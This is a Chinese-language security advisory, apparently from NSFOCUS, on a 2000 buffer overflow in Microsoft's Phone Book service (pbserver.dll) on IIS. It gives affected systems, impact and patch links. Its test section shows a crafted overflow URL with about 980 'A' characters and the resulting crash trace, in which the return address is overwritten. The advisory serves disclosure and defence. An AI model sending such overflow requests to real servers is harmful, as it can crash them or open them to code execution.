安全研究

安全漏洞
Microsoft Phone Book 服务远程溢出漏洞

发布日期:2000-12-05
更新日期:2000-12-05

受影响系统:

Microsoft Windows NT 4.0 Server
Microsoft Windows NT 4.0 Server, Enterprise Edition
Microsoft Windows 2000 Server
Microsoft Windows 2000 Advanced Server

描述:

Phone Book 是NT 4 Option Pack和Windows 2000中所带的可选组件。
由于在Phone Book服务程序中存在一个未检查的缓冲区,通过提交一个精心构
造的URL,攻击者可以在运行Phone Book服务的IIS 4.0/5.0服务器上执行任意
代码。这可能导致攻击者获取"IUSR_机器名"(IIS 4)或者"IWAM_机器名"(IIS
5)用户的权限。这两个账号属于"Everyone"组,在某些情况下,"Everyone"组
的成员可以执行一些系统命令。

攻击者不能利用此漏洞获取管理权限,但可以在服务器上添加/删除或者改变
某些数据,并可以上传或者执行代码。

Phone Book 服务缺省没有被安装。这个服务必须通过NT 4 Option Pack或者
Windows 2000的可选网络组件安装。如果您没有安装个服务,您不会受到此漏
洞影响。

<*来源:Alberto Solino ( CORE SDI )
        David Litchfield ( @Stake )
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


用户可以通过IIS调用PBSERVER.DLL来访问Phone Book服务,例如:

http://hostname/pbserver/pbserver.dll?osarch=&ostype=&osver=&cmver=&lcid=&pb
ver=&pb=<STRING=db name>

PBSERVER.DLL会检查整个参数的长度,确保总长度不会超过1024字节。然而通过小心
的构造一个URL,可以在长度检查通过的情况下,为pb变量提供一个很长的参数,这将
导致覆盖一个固定长度的缓冲区。例如,使用下列的URL:


GET /pbserver/pbserver.dll?&&&&&&pb=AAAAAA... (至少980字符)
HTTP/1.0\n\n

溢出发生后,事件日志中记录如下:


The HTTP server encountered an unhandled exception while processing the
ISAPI Application '
+ 0x41414143
+ 0x41414139
pbserver!HttpExtensionProc + 0x1C
wam!DllGetClassObject + 0x808
RPCRT4!NdrServerInitialize + 0x4DB
RPCRT4!NdrStubCall2 + 0x586
RPCRT4!CStdStubBuffer_Invoke + 0xC1
ole32!StgGetIFillLockBytesOnFile + 0x116EC
ole32!StgGetIFillLockBytesOnFile + 0x12415
ole32!DcomChannelSetHResult + 0xDF0
ole32!DcomChannelSetHResult + 0xD35
ole32!StgGetIFillLockBytesOnFile + 0x122AD
ole32!StgGetIFillLockBytesOnFile + 0x1210A
ole32!StgGetIFillLockBytesOnFile + 0x11E22
RPCRT4!NdrServerInitialize + 0x745
RPCRT4!NdrServerInitialize + 0x652
RPCRT4!NdrServerInitialize + 0x578
RPCRT4!RpcSmDestroyClientContext + 0x9E
RPCRT4!NdrConformantArrayFree + 0x8A5
RPCRT4!NdrConformantArrayFree + 0x3FC
RPCRT4!RpcBindingSetOption + 0x395
RPCRT4!RpcBindingSetOption + 0x18E
RPCRT4!RpcBindingSetOption + 0x4F8
KERNEL32!CreateFileA + 0x11B

攻击者通过精心构造一个有效的URL,可能在受影响主机上执行任意代码。




建议:

厂商补丁:

微软已经提供了补丁下载:

Microsoft Windows NT 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=26193

Microsoft Windows 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25531



浏览次数:4532
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障